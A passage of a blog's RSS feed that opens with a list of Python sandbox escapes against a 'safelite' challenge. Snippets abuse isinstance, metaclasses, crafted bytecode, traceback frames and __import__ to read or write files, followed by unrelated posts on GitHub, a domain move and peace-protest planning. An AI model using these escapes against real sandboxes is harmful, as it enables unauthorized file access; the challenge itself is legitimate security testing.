<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">_real_file</span> <span class="o">=</span> <span class="bp">None</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="k">def</span> <span class="nf">_new_isinstance</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span><span class="n">types</span><span class="p">):</span><br/><span class="gp">... </span>    <span class="k">global</span> <span class="n">_real_file</span><br/><span class="gp">... </span>    <span class="k">if</span> <span class="n">_real_file</span> <span class="ow">is</span> <span class="bp">None</span> <span class="ow">and</span> <span class="n">obj</span><span class="o">.</span><span class="n">__class__</span><span class="o">.</span><span class="n">__name__</span> <span class="o">==</span> <span class="s">&#39;file&#39;</span><span class="p">:</span><br/><span class="gp">... </span>        <span class="n">_real_file</span> <span class="o">=</span> <span class="n">obj</span><span class="o">.</span><span class="n">__class__</span><br/><span class="gp">... </span>    <span class="k">return</span> <span class="n">_old_isinstance</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span><span class="n">types</span><span class="p">)</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">__builtins__</span><span class="o">.</span><span class="n">isinstance</span> <span class="o">=</span> <span class="n">_new_isinstance</span><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;nul&#39;</span><span class="p">)</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span> <span class="o">=</span> <span class="n">_real_file</span><span class="p">(</span><span class="s">&#39;foo.txt&#39;</span><span class="p">,</span> <span class="s">&#39;w&#39;</span><span class="p">)</span><br/></pre></div>
<p>[Fixed in v5]</p>
</li>
<li><p class="first"><a class="reference external" href="http://python.org/~guido/">Guido van Rossum</a> noted that FileReader's
<a class="reference external" href="http://mail.python.org/pipermail/python-dev/2009-February/086437.html">__metaclass__ was accessible</a>:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span> <span class="o">=</span> <span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;/etc/passwd&#39;</span><span class="p">)</span><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">kall</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">__class__</span><span class="o">.</span><span class="n">__metaclass__</span><span class="o">.</span><span class="n">__call__</span><span class="o">.</span><span class="n">im_func</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">kall</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">__class__</span><span class="o">.</span><span class="n">__metaclass__</span><span class="p">,</span> <span class="p">[(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="mi">47</span><span class="p">)])</span><br/><span class="go">&lt;type &#39;list&#39;&gt;</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span><span class="o">.</span><span class="n">__class__</span><span class="o">.</span><span class="n">__metaclass__</span><span class="o">.</span><span class="n">foo</span><br/><span class="go">47</span><br/></pre></div>
<p>[Locked-down in v6 before he could do any real damage ;p]</p>
</li>
<li><p class="first"><a class="reference external" href="http://thepaulprog.blogspot.com/">Paul Cannon</a> did the unexpected
with his <a class="reference external" href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html">super hardcore exploit</a>:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">__builtins__</span><span class="o">.</span><span class="n">TypeError</span> <span class="o">=</span> <span class="nb">type</span><span class="p">(</span><span class="k">lambda</span><span class="p">:</span> <span class="mi">0</span><span class="p">)(</span><span class="nb">type</span><span class="p">(</span><span class="nb">compile</span><span class="p">(</span><span class="s">&#39;1&#39;</span><span class="p">,</span> <span class="s">&#39;b&#39;</span><span class="p">,</span> <span class="s">&#39;eval&#39;</span><span class="p">))(</span><br/><span class="gp">... </span>  <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">67</span><span class="p">,</span><br/><span class="gp">... </span>  <span class="s">&#39;y</span><span class="se">\x08\x00</span><span class="s">t</span><span class="se">\x00\x00\x01</span><span class="s">Wn</span><span class="se">\x09\x00\x01\x01</span><span class="s">a</span><span class="se">\x00\x00</span><span class="s">n</span><span class="se">\x01\x00</span><span class="s">X|</span><span class="se">\x01\x00</span><span class="s">|</span><span class="se">\x00\x00\x83\x01\x00</span><span class="s">S&#39;</span><span class="p">,</span><br/><span class="gp">... </span>  <span class="p">(</span><span class="bp">None</span><span class="p">,),</span> <span class="p">(</span><span class="s">&#39;stuff&#39;</span><span class="p">,),</span> <span class="p">(</span><span class="s">&#39;g&#39;</span><span class="p">,</span> <span class="s">&#39;x&#39;</span><span class="p">),</span> <span class="s">&#39;q&#39;</span><span class="p">,</span> <span class="s">&#39;f&#39;</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="s">&#39;&#39;</span><span class="p">),</span> <span class="nb">globals</span><span class="p">(),</span> <span class="bp">None</span><span class="p">,</span> <span class="p">(</span><span class="ne">TypeError</span><span class="p">,)</span><br/><span class="gp">... </span><span class="p">)</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="k">try</span><span class="p">:</span><br/><span class="gp">... </span>    <span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span><br/><span class="gp">... </span><span class="k">except</span><span class="p">:</span><br/><span class="gp">... </span>    <span class="k">pass</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">stuff</span><span class="o">.</span><span class="n">tb_frame</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_locals</span><span class="p">[</span><span class="s">&#39;open_file&#39;</span><span class="p">](</span><span class="s">&#39;w00t&#39;</span><span class="p">,</span> <span class="s">&#39;w&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&#39;yaymore</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span><br/></pre></div>
<p>[Fixed in v6 &mdash; but the principles can still be used. Paul Cannon <a class="reference external" href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html">explains
in depth</a>.]</p>
</li>
<li><p class="first">Daniel Diniz emailed in with this devastating mugging:</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">safelite</span> <span class="kn">import</span> <span class="n">FileReader</span><br/><br/><span class="c"># Let&#39;s build a fake module</span><br/><span class="n">warnings</span> <span class="o">=</span> <span class="n">__builtins__</span><span class="o">.</span><span class="n">__class__</span><span class="p">(</span><span class="s">&#39;warnings&#39;</span><span class="p">)</span><br/><br/><span class="c"># Fill it with deception</span><br/><span class="n">warnings</span><span class="o">.</span><span class="n">default_action</span> <span class="o">=</span> <span class="s">&quot;ignore&quot;</span><br/><br/><span class="c"># And provide a supporting thug</span><br/><span class="k">def</span> <span class="nf">__import__</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span><br/>    <span class="k">print</span> <span class="n">args</span><br/>    <span class="k">try</span><span class="p">:</span><br/>        <span class="k">print</span> <span class="s">&quot;How nice:</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">keys</span><span class="p">()</span><br/>        <span class="k">global</span> <span class="n">sys</span><br/>        <span class="n">sys</span> <span class="o">=</span> <span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="s">&#39;sys&#39;</span><span class="p">]</span><br/>    <span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span> <span class="n">v</span><span class="p">:</span><br/>        <span class="k">print</span> <span class="s">&quot;Exception:&quot;</span><span class="p">,</span> <span class="n">v</span><br/>    <span class="k">return</span> <span class="n">warnings</span><br/><br/><span class="c"># Put the bogus module at the doorstep...</span><br/><span class="n">__builtins__</span><span class="o">.</span><span class="n">warnings</span> <span class="o">=</span> <span class="n">warnings</span><br/><br/><span class="c"># and have the thug replacing the doorman</span><br/><span class="n">__builtins__</span><span class="o">.</span><span class="n">__import__</span> <span class="o">=</span> <span class="nb">__import__</span><br/><br/><span class="c"># An unsuspecting costumer passes by...</span><br/><span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;safelite.py&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">seek</span><span class="p">(</span><span class="mf">1.1</span><span class="p">)</span><br/><br/><span class="c"># ... and is brutally mugged :)</span><br/><span class="k">print</span> <span class="n">sys</span><br/><span class="k">print</span> <span class="nb">dir</span><span class="p">(</span><span class="n">sys</span><span class="p">)</span><br/></pre></div>
<p>[Fixed in v7]</p>
</li>
<li><p class="first">Nick Coghlan got evil with context managers:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="k">class</span> <span class="nc">EvilCM</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span><br/><span class="gp">... </span>    <span class="k">def</span> <span class="nf">__enter__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span><br/><span class="gp">... </span>        <span class="k">return</span> <span class="bp">self</span><br/><span class="gp">... </span>    <span class="k">def</span> <span class="nf">__exit__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">exc_type</span><span class="p">,</span> <span class="n">exc</span><span class="p">,</span> <span class="n">tb</span><span class="p">):</span><br/><span class="gp">... </span>        <span class="n">tb</span><span class="o">.</span><span class="n">tb_next</span><span class="o">.</span><span class="n">tb_frame</span><span class="o">.</span><span class="n">f_locals</span><span class="p">[</span><span class="s">&#39;open_file&#39;</span><span class="p">](</span><span class="s">&#39;w00t&#39;</span><span class="p">,</span> <span class="s">&#39;w&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&#39;yay!</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span><br/><span class="gp">... </span>        <span class="k">return</span> <span class="bp">True</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="k">with</span> <span class="n">EvilCM</span><span class="p">():</span><br/><span class="gp">... </span>    <span class="n">FileReader</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span><br/></pre></div>
<p>[Fixed in v8]</p>
</li>
<li><p class="first"><a class="reference external" href="http://python.org/~guido/">Guido van Rossum</a> emailed in with ways to trick
trusted code to evaluate unsafe code in its own globals!! [See also his
similar hack with eval in the comments below].</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span> <span class="o">=</span> <span class="n">FileReader</span><span class="p">(</span><span class="s">&#39;/etc/passwd&#39;</span><span class="p">)</span><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span><span class="o">.</span><span class="n">__class__</span><span class="o">.</span><span class="n">__int__</span> <span class="o">=</span> <span class="nb">input</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">f</span><span class="p">)</span><br/><span class="go">(fileobj.__class__(&#39;/tmp/w00t&#39;, &#39;w&#39;).write(&#39;w00t\n&#39;), 0)[1]</span><br/></pre></div>
<p>[Fixed in v9]</p>
</li>
</ul>
<p>Found an exploit yet?? Try <a class="reference external" href="http://github.com/tav/scripts/blob/master/safelite.py">safelite.py</a> and let me know!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/eJU6bjBSEPI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/a-challenge-to-break-python-security.html</feedburner:origLink></item><item>
    <title>Hello GitHub!</title>
    <guid isPermaLink="false">http://tav.espians.com/hello-github.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/MczaDex0GWI/hello-github.html</link>
    <pubDate>Thu, 29 Jan 2009 00:23:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I've completed the switch over to the <a class="reference external" href="http://www.git-scm.org">Git</a> version
control system. You can follow my activities on:</p>
<ul class="simple">
<li><a class="reference external" href="http://github.com/tav">http://github.com/tav</a></li>
</ul>
<p>If you want to ever work on a project of mine, just click the fork button on
GitHub and start coding &mdash; no need to get permission from me! Just let me know
if you want to get your changes back into the mainline.</p>
<p>GitHub even lets you edit forks directly from the website without having to
check out the repository. How cool is that?!</p>
<p>Now, for the Totally Pointless Awards, I created a colourful homepage using the
really nice GitHub pages mechanism:</p>
<ul class="simple">
<li><a class="reference external" href="http://tav.github.com">http://tav.github.com</a></li>
</ul>
<p>And, finally, I have something of potential use for others using GitHub:
<tt class="docutils literal">gitbot.py</tt> uses the GitHub API to inform IRC channel(s) of commits to GitHub
repositories.</p>
<p>I ended up creating my own one because the default GitHub IRC notifier is rather
noisy and joins/leaves too much. You can find the code for the bot along with a
sample <tt class="docutils literal">gitbotconfig.py</tt> file here:</p>
<ul class="simple">
<li><a class="reference external" href="http://github.com/tav/scripts/tree/master">http://github.com/tav/scripts/tree/master</a></li>
</ul>
<p>Enjoy!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/MczaDex0GWI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/hello-github.html</feedburner:origLink></item><item>
    <title>New Domain for Tav</title>
    <guid isPermaLink="false">http://tav.espians.com/new-domain-for-tav.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/cE_OD2KcG9g/new-domain-for-tav.html</link>
    <pubDate>Tue, 04 Nov 2008 03:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><strong>Update:</strong> I reverted to tav.espians.com as the main domain &mdash; asktav.com
redirects here so you can use it as a shorter url to type&#8230;</p>
<p>My apologies to all those who have been following this blog through the RSS
feed. As some of you have noticed, the feed has been behaving rather erratically
recently.</p>
<p>This is because I have been migrating everything from pleinair.googlecode.com to
the new asktav.com domain. This is now the permanent home for my blog and will
remain so until the Plexnet eventually replaces the current domain name system.</p>
<p>The feed should be working properly again and is still at the same place as it
always was &mdash; <a class="reference external" href="http://feeds.feedburner.com/asktav">http://feeds.feedburner.com/asktav</a>. I don't plan to move domains
anytime soon so you can expect a certain level of stability now =)</p>
<p>Unfortunately I wasn't able to migrate over the old comments to the new domain.
Disqus doesn't seem to have any builtin comment migration across domains
feature. So apologies if you look at an article and don't see your comments
turning up.</p>
<p>The comments are still there on the Disqus system &mdash; just pointing to the wrong
URL. I'll try and see if I can leverage the <a class="reference external" href="http://disqus.com/docs/api/">Disqus API</a> to somehow integrate the comments. I really
value all of your comments and hope that you understand.</p>
<p>As part of the migration, I also expanded the backend with some additional
features:</p>
<div class="syntax console"><pre><span class="gp">$</span> python -m plexnet.tool.article --help<br/><span class="go">Usage: article.py [options]</span><br/><br/><span class="go">Options:</span><br/><span class="go">  -h, --help          show this help message and exit</span><br/><span class="go">  -a AUTHORS          Set the path for a special authors file (optional)</span><br/><span class="go">  -c PACKAGE          Generate documentation for the Python package (optional)</span><br/><span class="go">  -d DATA_FILE        Set the path for a persistent data file (optional)</span><br/><span class="go">  -e OUTPUT_ENCODING  Set the output encoding (default: utf-8)</span><br/><span class="go">  -f FORMAT           Set the output format (default: html)</span><br/><span class="go">  -i INPUT_ENCODING   Set the input encoding (default: utf-8)</span><br/><span class="go">  -o OUTPUT_PATH      Set the output directory for files (default: $PWD)</span><br/><span class="go">  -p PATTERN          Generate index files for the path pattern (optional)</span><br/><span class="go">  -r ROOT_PATH        Set the path to the root working directory (optional)</span><br/><span class="go">  -t TEMPLATE         Set the path to a template file (optional)</span><br/><span class="go">  --quiet             Flag to suppress output</span><br/><span class="go">  --stdout            Flag to redirect to stdout instead of to a file</span><br/></pre></div>
<p>It now supports multiple authors and even generates pretty source documentation
for Python packages, as can be seen on the the new domain for the Plexnet:
<a class="reference external" href="http://www.plexnet.org">http://www.plexnet.org</a></p>
<p>The code is sitting a a new <a class="reference external" href="https://svn.plexnet.org">source repository</a> with
a pretty Rails-based Subversion browser called <a class="reference external" href="http://www.warehouseapp.com/">Warehouse</a>. You can see it &#64; <a class="reference external" href="http://source.plexnet.org">http://source.plexnet.org</a>.</p>
<p>Thanks for bearing with the upheaval. To make up for it, maybe you'll be
interested to know that some others have started blogging too:</p>
<ul class="simple">
<li><a class="reference external" href="http://evangineer.agoraworx.com/blog/">Mamading Ceesay</a></li>
<li><a class="reference external" href="http://killarny-site.appspot.com">Luke Graybill</a></li>
<li><a class="reference external" href="http://blog.turnupthecourage.com">Sofia Bustamante</a></li>
</ul><img src="http://feeds.feedburner.com/~r/asktav/~4/cE_OD2KcG9g" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/new-domain-for-tav.html</feedburner:origLink></item><item>
    <title>Pedipeace (Part 2)</title>
    <guid isPermaLink="false">http://tav.espians.com/pedipeace-part-2.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/v81PMUafkAg/pedipeace-part-2.html</link>
    <pubDate>Fri, 15 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to some close friends on March
26th 2003 &#64; 05:35.]</em></p>
<pre class="literal-block">
|  george&gt; The theory of blocking off central London is a good
|  george&gt; one but it will still piss people off to fuck.
|
| true. but, we should frame it as pedestrianising for peace as opposed
| to blocking off central london.
|
| although it amounts to the same thing, one is confrontational, the other...
|
|  george&gt; Sounds like the stuff Reclaim The Streets tries to
|  george&gt; do but with better ideas, dialogue instead of
|  george&gt; marching. But that affair always gets hijacked by
|  george&gt; rioters who are pissed off at the police.
|
| surely we shouldn't resign ourselves to accepting that as the only
| possible outcome? if everyone is aware of it before, can't we take
| precautions against it?
|
| on a side note, are people familiar with the roerich banner of peace?
| it's the three red dots symbolising art, science, and religion, with a
| red circle around them representing the totality of culture. the red
| itself represents the colour of the one blood that unites us all.
|
| (btw, can someone come up with an alternative meaning for the third dot?
| religion can be quite shitty...)
|
| here is a quick quote:
|
| //
|   The Roerich Pact and Banner of Peace movement grew rapidly during
|   the early nineteen-thirties, with centers in a number of countries.
|   There were three international conferences, in Bruges, Belgium, in
|   Montevideo, Uruguay, and in Washington, D.C. The Pact itself
|   declared the necessity for protection of the cultural product and
|   activity of the world-both during war and peace-and prescribed the
|   method by which all sites of cultural value would be declared neutral
|   and protected, just as the Red Cross does with hospitals. Indeed,
|   the Roerich Pact was often called The Red Cross of Culture.
|
|   Just as the Red Cross is embodied in a protective sign and banner,
|   so does the Roerich Pact also designate a symbol-the one seen on
|   this page-to be displayed on a banner, The Banner of Peace. This
|   Banner, flown at all sites of cultural activity and historical value,
|   would declare them neutral, independent of combatant forces.
| //
|
| i suggest we adopt the banner of peace for the pedipeace movement. that
| nicholas roerich and ghandi knew and influenced each other lends us even
| more weight.
|
|  george&gt; possible problems could be the way people would
|  george&gt; be spread so thinly that it would be easy for
|  george&gt; the bacon patrol to break up these small groups
|  george&gt; and arrest/beat people without getting too noticed.
|
| good point.
|
| we need to keep the number of circles down until we've gathered enough
| people then. as long as we make people aware of issues like these, then
| they are likely to be relatively sensible?
|
|  george&gt; Do you really think they will allow sound systems
|  george&gt; and parties in the street? They will seize your
|  george&gt; equipment straight away because of that repetitive
|  george&gt; beats law.
|
| then, let's find out more places like those UCL halls on oxford street,
| where we could have sound systems blasting from within the buildings
| themselves.
|
| the key is to get awareness out there. if it's just isolated pockets,
| then it is very easy for them to picked off. but if everyone is doing it...
|
|  george&gt; A huge fiesta taking up the whole of zone 1
|  george&gt; would be amazing though. A lot of people
|  george&gt; would go just for a good time, not caring
|  george&gt; about the causes, and the more people the better.
|
| yes! yes! yes!
|
| (but even those who don't care so much will have their interest piqued
| by the dialogues, and would hopefully gradually end up participating).
|
|  george&gt; But a lot of people that live in central are
|  george&gt; rich and old and used to the world and happy with
|  george&gt; the way things go on, so they won't support
|  george&gt; you, but get pissed off by all the rowdiness.
|
| now, this does worry me. how can we minimise this?
|
| how can we also minimise the impact of the extremist militants / agent
| provocateurs?
|
| how do we ensure that the police will never be able to resort to
| truncheons and tear gases?
|
|  george&gt; It seems the whole protest/marching thing is
|  george&gt; still popular (though showing lack of imagination)
|  george&gt; when people feel strongly about a cause, but a
|  george&gt; lot of the people who do care won't go because
|  george&gt; they won't see the point, so many marches and so
|  george&gt; little effect. The whole idea is stale and so
|  george&gt; usual it goes unnoticed.
|
| right, we all know people (including ourselves), who although they agree
| with the sentiments of no war, at times, don't think it's of any use to
| go down to the marches.
|
|  george&gt; Expressing your discontent is no good if
|  george&gt; no-one listens.
|
| *nod*
|
| one of the reason i find marches such a farce is because of the way they
| are isolated from the rest of society. even on feb 15th, with a million
| odd marching through london, to most londoners it was just a normal
| day... the protests completely separate from their lives.
|
|  george&gt; This is a foolish attitude because it is because
|  george&gt; people choose not to join in that there are not
|  george&gt; enough people to make a difference.
|
| how do we get people to realise this? and, more importantly, to act on it?
|
|  george&gt; If the whole country united for change it
|  george&gt; could come about but too many people take
|  george&gt; the 'one man can't make a difference' attitude.
|
| well, with the dialogues, i'm thinking that we could reverse this mentality.
|
| basically, if you aren't there participating, then you effectively lose
| your voice. so as to encourage all people to come and participate.
|
|  george&gt; Basically, i think the number of people taking
|  george&gt; part in ya proposed idea would be outweighed by
|  george&gt; the number not, and it would be hard to
|  george&gt; organise them.
|
| but, if only a hundred thousand participated on the first day, that's
| still substantial?
|
| do it on a nice sunny sunday... get half a million people down?
|
| i agree about it being difficult to organise them, but it's not impossible.
|
|  george&gt; I think you have too much faith in the genral public.
|
| the general public has to come to realise their own power. otherwise,
| there is no hope.
|
|  george&gt; Although many will agree with you 'in theory' only a
|  george&gt; much smaller hardcore will be motivated enough to
|  george&gt; actually get organised about it...
|
| let's get *everyone* down. this isn't going to be a short war.
|
| we just need to create enough inertia to push people past the &quot;agree in
| theory&quot; phase. it needs to be such a definite, that people will not even
| think of using their cars on that day.
|
| let's sort out alternative bus routes. let's sort out routes to the
| major hospitals so that people's lives aren't endangered.
|
| let's sort out routes for the police so that they can clamp down if
| anyone starts throwing rocks at starbucks. let's sort out traffic routes
| to direct people. let's sort out toilets and dustbins.
|
| let's get people like ms dynamite weaving their magic in the streets.
| let's get *everyone* involved. not just radicals. let's have members of
| parliament having dialogues with the average man on the street. let's
| have policemen participating. let's have teachers. let's have doctors.
|
| let's appeal to mothers of conscience to stand in protection of the
| circles. will police dare beat up pregnant women? will police dare to
| beat up young children? will police dare beat up respected religious
| leaders? will police dare beat up the elderly?
|
| let's have an independent media coverage throughout london. let's setup
| terminals at all tube stations. where people could come and at the push
| of a button print out the latest summary of events and dialogues.
|
|  george&gt; Keep trying and thinking about this hoipefully people
|  george&gt; will soon not be resigned to acceptance.
|
| deep in their hearts, i believe people are tired of the bollocks that
| they put up with on a day to day basis. i believe that people do want a
| better future. they just don't see how it will be possible or what they
| can do.
|
| once they realise that it is possible and that they can help make it a
| reality, i believe that they will awaken.
|
|  george&gt; Also, we are only slaves to oil because we are not
|  george&gt; given alternate energy sources to meet all our needs.
|  george&gt; Sure they exist but reamin out of our hands.
|
| true. but something as simple as not using our cars. and switching over
| our electricity to ecotricity would be a good start...
|
|  chris&gt; i think you can reach people and get them motivated,
|  chris&gt; its all about language.
|
| agreed. it's all about perception.
|
|  chris&gt; Create your own infastructure and co-opt the existing
|  chris&gt; one to reach people.
|
| from a media perspective, i think we are onto a winner here.
|
| see, most road blockades and marches don't get any press coverage not
| because of some global media conspiracy (yes, there is a certain element
| of that), but mainly because it's not news that sells.
|
| *oh look! yet another student has chained herself to a tree!*
|
| just not interesting enough.
|
| we need something that is dynamic. something that will get people's
| minds and hearts racing. something people (i.e. the populace as a whole,
| not just a minority) can get passionate about. something they will buy
| the next days papers to read about.
|
| we can do that here.
|
| we have a sensationalist background of conflict. this will keep people
| on their toes. the police will be out in the thousands. the people will
| be out in the hundreds of thousands.
|
| but that will merely be a backdrop. the key is to refuse to let that
| become the key issue. if we do, then all is lost. so, we should maintain
| the sensationalism of that, yet focus on the dialogue that is important.
|
| let papers be filled with reports sent in from the various circles. let
| papers create maps of what's happening at which crossroads. let papers
| be crammed with wonderful photos of people celebrating life.
|
| let the banners of peace fly. let wonderful smells fill the air. let the
| magical sounds of music sweep people up into ecstasy. let love blossom
| under the spring sun.
|
| we could do experiments in art and science. in art, maybe as a grand
| symbol, we could build a wall around the american embassy like they did
| in rome! in the sciences, we could create community based wireless
| networks! we can do fun things. we can push the boundaries.
|
|  chris&gt; no-one told people that they have to take responsibility
|  chris&gt; for what their country is doing, educate themselves and
|  chris&gt; regain control of their lives. They just used language
|  chris&gt; that contained no responsibility.
|
| chris (and others), could you have a go at phrasing what i am saying
| into &quot;better&quot; words please. i think i am reasonably good at avoiding
| trigger words, and in fact constantly make up new words in order to do
| so, but am sure it could all be phrased a lot better.
|
| thanks!
|
|  matt&gt; the police WILL NOT LET DEMOCRACY OCCUR IN THE STREETS.
|  matt&gt; If you try to make this happen and advertise it as if
|  matt&gt; it will be fluffy and lovely and discursive, you will
|  matt&gt; just be fooling people who will end up with a truncheon
|  matt&gt; in their face.
|
| i beg to differ.
|
| yes, i agree, the inertia is currently against our favour. but we don't
| have to let it be so. the key is for us to strike pre-emptively. not on
| the streets. but in the court of public opinion.
|
| i have been thinking that we should perhaps highlight events such as the
| tiananmen square massacre and genoa. make people aware of what really
| happened. (funny, those chinese were asking for more democracy and
| accurate press coverage just like we are doing so now...).
|
| the developments that took place in the lead up to those events needs to
| become common knowledge. the key here is to do it such that the police
| would not be able to tear gas innocents without a public backlash. at
| the same time, we must take care to avoid instilling paranoia, e.g. the
| black bloc in genoa...
|
| also, what are famous scenes from movies? star wars is pretty good. we
| should make use of strong imagery in movies, books and songs to get the
| point across. we should emphasise the history of the likes of ghandi.
| (perhaps we should all dress up like him?)
|
| the police are, at the end of the day, people just like the rest of us.
| they are influenced by the opinion of others just as we all are. they
| too have children, husbands, wives, mothers, fathers, sisters, brothers,
| friends, lovers. they too are influenced by what those people think.
|
| london can ring with more than that of the truncheon thing! london can
| ring with hope and love. we can take the first step towards creating the
| world we want.
|
|  matt&gt; There will (it looks pretty certain) be a large event
|  matt&gt; within the next three weeks in London which will
|  matt&gt; (hopefully) be similar to the event that happened in
|  matt&gt; San Francisco....roving groups of people stopping
|  matt&gt; business as usual, along with people blocking key
|  matt&gt; intersections to shut down the city.
|
| why hopefully? sf was a disaster.
|
| the actions in san francisco have been counter-productive. it:
|
|   a) as chris says, polarised both activist+public opinion.
|
|   b) gave the polcie (SFPD) a good excuse to use rather draconian
|      measures. (in related news, didn't a police van drive over a
|      protestor in washington dc?)
|
|   c) annoyed enough of the public so that many actually support the
|      SFPD &quot;peace forces&quot; in clearing out the &quot;troublesome protestors&quot;.
|
|   d) instilled paranoia and fear into many protestors. trust has
|      started to break down for fear of infiltration. and some are
|      afraid of doing any form of direct action for fear of their
|      lives.
|
|   e) has started to splinter a movement into militant and non-militant
|      factions. seeing the horrors has made some people more militant.
|      but at the same time, the moderates are shying away. and without
|      strength in numbers, any action will get stamped down very quickly.
|
| we need the majority of people to stand up and support us. we should be
| the people. not some &quot;enlightened&quot; minority.
|
|  matt&gt; I am well aware that this will not perform an educative
|  matt&gt; function, but I think something like this is needed to
|  matt&gt; hammer the point home that people will not stand for being
|  matt&gt; screwed. If not now, when, if not us, then who?
|
| i am tired of seeing some trying to make martyrs of themselves. what
| does blocking roads, and bridges and intersections achieve by itself?
| what does chanting against the police achieve by itself?
|
| notice how words like &quot;anarchists&quot;, &quot;hackers&quot;, etc. are constantly
| misrepresented? notice how these forces are the ones that actually
| provide some form of real alternative, and thus a real threat?
|
| the point here is that the &quot;establishment&quot; would use any excuse to
| misrepresent all actions. and escalated direct action with no dialogue
| would only serve in their interests. gives them an excuse to represent
| _all_ the &quot;remaining&quot; protestors as extremist troublemakers.
|
| and, is it me, or do people seriously underestimate the might of the
| armed forces? as it stands, there is no hope for reclaiming the bases.
| all it does is provides an excuse for the militant faction of the
| movement to be labelled as &quot;terrorists who pose a threat to national
| security&quot;.
|
| reclaiming the bases, if it's to be done, has to be done from the
| inside. with members of the armed forces refusing to refuel the bombers.
| with dockers refusing to load arms shipments. with loved ones of
| soldiers writing in to them to give them support to stand up against
| their superiors.
|
| by chanting outside bases, all we do is cultivate an &quot;us&quot; and &quot;them&quot;
| mentality. so instead, let's:
|
|   1) listen to each other. listen and learn. let's have a war on
|      ignorance.
|
|   2) empower ourselves with dialogue and try to come up with
|      solutions. it's easy to shout *NO* to things. but, without
|      providing alternatives, the shouting is meaningless.
|
|   3) celebrate life. this *is* your life, and it *is* ending one
|      minute at a time. enjoy it. end the solitude. choose life.
|
|  giles&gt; the problem with direct action is that most of the
|  giles&gt; public think, whether right or not, that its just
|  giles&gt; of bunch of thugs/peaceniks/hippies/wasters etc..
|  giles&gt; and will therefore never listen to what they are
|  giles&gt; saying although they may actually find they agree
|  giles&gt; with it if they took notice.
|
| *nod* we need to cater for everyone.
|
|  giles&gt; the answer isnt becoming more extreme but playing
|  giles&gt; them at their own game and although it seems slower
|  giles&gt; you cant change people's opinions overnight. i you
|  giles&gt; act in a way that the media/politicians/public can
|  giles&gt; find fault with then it'll make a much stronger
|  giles&gt; point.
|
| (surely you meant can't?)
|
| in either case, i both agree and disagree. i agree that we should not be
| extremist. at the same time, we must make a strong statement.
|
| blocking off central london is, in my book, a strong statement. yet, the
| idea of dialogue is about toning down from extremist direct action and
